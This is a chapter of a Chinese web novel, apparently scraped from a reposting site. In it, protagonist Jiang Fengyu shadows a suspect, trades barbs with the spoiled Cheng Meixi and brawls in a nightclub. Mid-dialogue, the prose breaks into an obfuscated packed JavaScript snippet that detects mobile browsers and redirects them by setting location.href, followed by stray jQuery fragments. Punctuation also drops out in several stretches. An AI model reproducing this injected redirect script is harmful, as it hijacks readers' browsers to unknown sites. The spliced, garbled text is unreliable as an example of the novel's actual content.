第 165 章 社畜alpha(四)

作品:《攻略失败,但修罗场

    第165章社畜alpha(四)


    【开谁的瓢】


    蒋逢玉临时决定给自己安排一份钟点工。


    尽管没有钱拿。


    金丛应,aka晋留宁的空调修理工马甲,领了黑狗出了13楼,沿着一排垃圾桶往黑洞洞的小道里走。


    蒋逢玉隔着不远不近的距离,也沿着垃圾桶走。


    “哎——走你!”


    一盆脏水从天而降,精准地覆盖在垃圾桶前那片堆满的碎蛤蜊地上,蒋逢玉凭借灵巧走位躲过一劫,裹紧了风衣压低帽檐,放停脚步假装四处观望。


    “不好意思啊,那个,真没看见。”小伙抓着盆挠头,笑得讪讪,“没弄脏衣服吧?”


    蒋逢玉摇头,余光瞄见牛仔外套的衣摆消失在拐角,她数了三秒,快步赶上。


    鸽子统楼层矮,底层大多不住人,而是开成小卖店或洗剪吹,黑狗的尾巴一甩一甩,停在小卖店的烤肠机子前面不肯动了。


    金丛应侧头和它对视,蒋逢玉认为可能有半个世纪那么久,他一句话没说,黑狗不情不愿地站起来,三步一回头地往前走了。


    蒋逢玉边跟边数狐狸眼的马甲。


    靳辞危,无业游民,和她在德莱曼大道见了第一面,又因为妨碍警务被处八日拘留,恰好和她做了回狱友,形迹可疑。


    展明扬,乐队主唱,和她在大学街新开的德式餐厅碰头,言行形迹更加可疑。


    詹麒匀,艺术品经销商,在包办婚姻线的艺术展览会遇见,不明不白地就要送手串,可疑。


    无名氏,游乐园玩偶人,同样在包办婚姻线遇见,折纸花大概率出自他手,加倍可疑。


    现在是,金丛应,空调修理工,任务线……不明。但结合此人前科来看,丢狗这事也许存在非偶然发生的可能性。


    有风吹,掀起一阵扬尘,蒋逢玉屏住呼吸揉了揉眼睛,跟着牛仔外套走进条蜿蜒曲折的巷子里,三两拐之后,人没了。


    棋牌室里哗啦啦摸牌碰倒的声音遥远又鲜明,矮墙挡不住四处的光,蒋逢玉左右环顾后,借力起身蹬上了墙道,哪里都有人影,这里是居民聚集区,入夜遛狗的人不在少数。


    蒋逢玉不知为何笃定,金丛应知道有人在跟踪他。


    虚张声势的狗吠由远及近,脚爪拍打地面石子的响动停在墙下,蒋逢玉居高临下地和那只皮毛油润颈戴银刺项圈的狼狗对视,半分钟以后,一串急促的脚步声携着一束强瓦亮光也停在墙下。


    戴着街道巡逻保安队长红


    袖章的中年女人朝她晃晃手鞎川本地官话混在标准话里不好分辨但她的肢体动作很好地起到了辅助作用。


    “哎哎哎!那个是干嘛的?赶紧下来!”


    蒋逢玉老老实实地跳了下来。


    “上面风景好。”蒋逢玉边说边往脸边扇了扇风“冷了我该回去了。”


    她在保安队长狐疑地眼神中镇定自若地转身迈着腿三两步飞出小巷。


    离开巷口前她特地记了路线和地标螺丝鼓巷南门进左拐直走约莫三百米后右拐随后在惠宏缝纫店的立牌处立刻左拐然后然后就跟丢了。


    这两天得再抽时间来蹲点碰碰运气。


    蒋逢玉原先就在思考晋留宁是怎样做到在改头换面的同时把分化性别一并修正的鲜为人知的高科技一直是这问题的唯一答案可是现在似乎有了新的方向。


    如果他的马甲和她的皮肤属于一种东西那晋留宁究竟会是什么人?


    蒋逢玉摇摇头


    “哎哟不得了。”老板推推眼镜隔着玻璃柜面和她点头示意伸出手指点点电视“要不要买一注彩球票?”


    蒋逢玉看清那上面的人不是黄聿之又是谁。


    用的是转播旧影像今年六月联校泳赛时的赛末采访卷发沾了水湿漉漉的往后拨开露出额头眉毛浓黑带着锋锐的气势眼睛却又波光潋滟。


    “不买。”


    ***


    人生自古至今热门议题无非一个死蒋逢玉思来想去还是决定不想了反正早晚都横竖得死。


    就当前状况而言电不死摔不死但是可能被程美昔折磨死。


    “累不累?”程美昔回过身好整以暇看着她“没在心里骂我吧?”


    蒋逢玉提着两手臂购物袋面无表情地目视前方。


    程美昔悠悠然走到她面前示意她把饮料袋举起来等她举起来以后垂下脸抿了一口焦糖杏仁眼里装着三分轻蔑三分讥讽四分挑衅。


    “你知道我最讨厌什么人吗?”


    蒋逢玉当没听见。


    程美昔叹气薄嘴唇里呼出的都是杏仁糖的甜味他好像一点也没察觉还在那里大放厥词。


    “做狗没有做狗的自觉还想着挺直腰背做人。”


    蒋逢玉淡淡地瞥他一眼他噙着笑回视挑起眉毛垂脸又叼


    起吸管。


    “不会说话?还是不想和我说话?”


    “放着好好的差事不做,跑来给没人看重的私生子做牛做马,不觉得委屈吗?”


    “不如早点去提交调职报告,我高兴,你也高兴。”


    “那天晚上我怎么回去的,又是怎么受伤的,我都知道了。你也不想我给你上司打报告吧?”


    程美昔坐在车里,窗户大开,蒋逢玉走在路边,拎着满手秤砣一样的购物袋,他有意给她苦头吃,专门去运动器械店买了重货,特地叮嘱自提。


    被随机抓来的路人司机满额冷汗,眼珠子不敢往后转,也不敢往外瞄。


    蒋逢玉转了转脖子,停下脚步,对着车里那张欠揍的脸说:“方便出来聊聊么。”


    程美昔欣然应允。


    司机得以偷得喘息的间隙。


    购物街口有个不大不小的人工湖公园,蒋逢玉推开废旧的栅门进去,程美昔双手揣兜跟上,等站到了没人的地方,他脸上万事无忧的欠揍表情裂了条缝。


    “你要是再敢对我动手,我保证一定”


    “不会。”


    程美昔冷笑一声,“像你这种记仇的走狗我见多了,有什么做不出的。”


    蒋逢玉把手里的秤砣袋子丢下去,乒呤乓啷一通响,她揉揉手腕,压近一步。


    程美昔警惕地盯着她,往后退了两步。


    蒋逢玉伸手拎住了他的衣领。


    “你敢——!”


    蒋逢玉一本正经地摸了摸他的脸。


    程美年的脸色由白转红再转青。


    “你是怎么发现的?”她问。


    程美昔皱着眉扯衣领,没扯得动,用眼睛瞪她,边瞪边靠手背恶狠狠地擦被她碰到的那块皮肤,半响恶声恶气反问:“发现什么?”


    “我打算对你上下其手、心怀不轨,这件事。”


    他的投诉信怎么写,她就怎么抄。


    程美昔很是惊讶,瞳孔肉眼可见地放大,“你胡说八道什么鬼东西?”


    蒋逢玉皮笑肉不笑,“你都知道了,我就不装了。小美,我确实对你有想法。”


    程美昔的脸色青一阵白一阵,像放烟花似的,好看,好玩。


    “我没想和任何人说,只打算把这份感情藏在心里。”蒋逢玉拉起他的手,作势往心口贴,板着脸说,“我知道我们之间是没可能的,你这么好,我实在配不上。”


    程美昔大概用尽了全身的力气才把手抽回去,手背和腕口红了一大片,蒋逢玉保证不久以后一定会


    青不然怎么叫打击报复。


    “谁准你……”程美昔磨着牙一字一字道“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15192211|122537||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你这样的你怎么敢——”


    “不敢。”


    蒋逢玉往后退了一步捡起袋子“这样看着你就够了。”


    程美昔落荒而逃看起来像生吞了一只碎壳的蜗牛一样犯恶心。


    “敢跟上来你就死定了。”他这么说。


    蒋逢玉掸了掸手跟了上去。


    拜程美昔半夜偷溜出门逛夜店所赐B队因看管不力被叶文拓批了一通蒋逢玉作为队长又荣获工作安排不合理、没起到带头榜样作用、偷懒耍滑等等罪名被罚了一月奖金。


    蒋逢玉痛定思痛和队员协商后重新安排了值班日程因程美昔品行恶劣决定予以白夜班两班倒24h看管处理。


    原周内搭班人不变只是用错峰工作替换了双人协同工作机制白班:06:00——18:00夜班:18:00——次日06:00。


    蒋逢玉叫了车叮嘱师傅跟紧前面那辆骚包跑车师傅长一张人畜无害的笑脸猛猛给了油在大马路上横冲直撞。


    蒋逢玉胃里翻江倒海在酒吧街停下时面无人色扶着树干站了一会儿程美昔的身影消失在荧光粉的灯牌门后她吸了两口气给了空气一脚也顺着地梯往下走。


    程美昔这人有钱多得没处花玩又玩不得要领进了夜店酒吧只定包厢酒水饮料由指定的服务生往里送第三个人都进不去。


    蒋逢玉站在包厢外当门神。


    凌晨一点程美昔从大厅直通通道走了进来。


    蒋逢玉怀疑自己熬夜出了精神问题。她再定睛一看意识到走进来的是程美年。


    “我会带他回去。”程美年这么说夹着一张薄薄的支票凭条递来“辛苦了。”


    蒋逢玉没动这样的额外收入有一定风险她的饭碗性质比较特殊钱虽然不多规矩却能写好几大本。


    程美年把支票塞进她口袋里推开包厢进去约莫十分钟后包厢里传来玻璃制品被摔碎的裂响服务生和她一样守在门口那对双胞胎兄弟迟迟才出来。


    程美昔的左脸颧骨上有一道浅浅的划痕新鲜的血渍顺着口子往下淌他甩开程美年领先几步离开。


    程美年右手拳关节有破损他接过服务生手里的消毒毛巾


    夜店最多的有三样色鬼、酒鬼、拳头纠纷程美昔挤进


    人群中心,那里正发生一起不大不小的搭讪事故,蒋逢玉没打算把自己牵扯进去,只是尽职尽责地当巨婴保姆而已,一只不长眼的酒瓶失了准头,直直朝程美昔那张已经破口的脸飞去。


    酒液泼洒出几滴,渍进伤口会刺痛,程美昔的骄纵和野蛮被这几分痛再度激化,伸手夺过被她拦握住的酒瓶,径直走向中心对着名omega拉扯不清的酒癞子。


    “滚开,别挡路。”


    蒋逢玉尽职尽责地挡路,同时再次拦下酒瓶。


    “给你点好脸色就急着找死,是不是?”


    蒋逢玉化嫌恶为动力,朝着酒瓶转身,对着那名污言秽语不重样的酒中色鬼砸下去。


    不能给程美昔开瓢,换罪魁祸首来也是一样的。


    那秃子捂着头蜷缩起来哀嚎,蒋逢玉丢下剩下半截酒瓶,顺手抓走那名背对着人的omega,拎着程美昔一起离开。


    程美昔被她扯得跌跌撞撞,上了地梯一把甩开她。


    “谁让你拉我了?”


    蒋逢玉挺后悔没给他开瓢。


    “别以为你做了件人事就有什么不一样了。”程美昔说,“离我远点。”


    蒋逢玉求之不得,往后退了几步,那名被见义勇为带走的omega拾级而上,脸和身体一点点冒出来,荧光粉的灯牌把他的脸照得有些失真。


    “谢谢你救我。”容韶锦说。


    作者有话要说


    美:欸,这里有条河。


    蒋:我跳。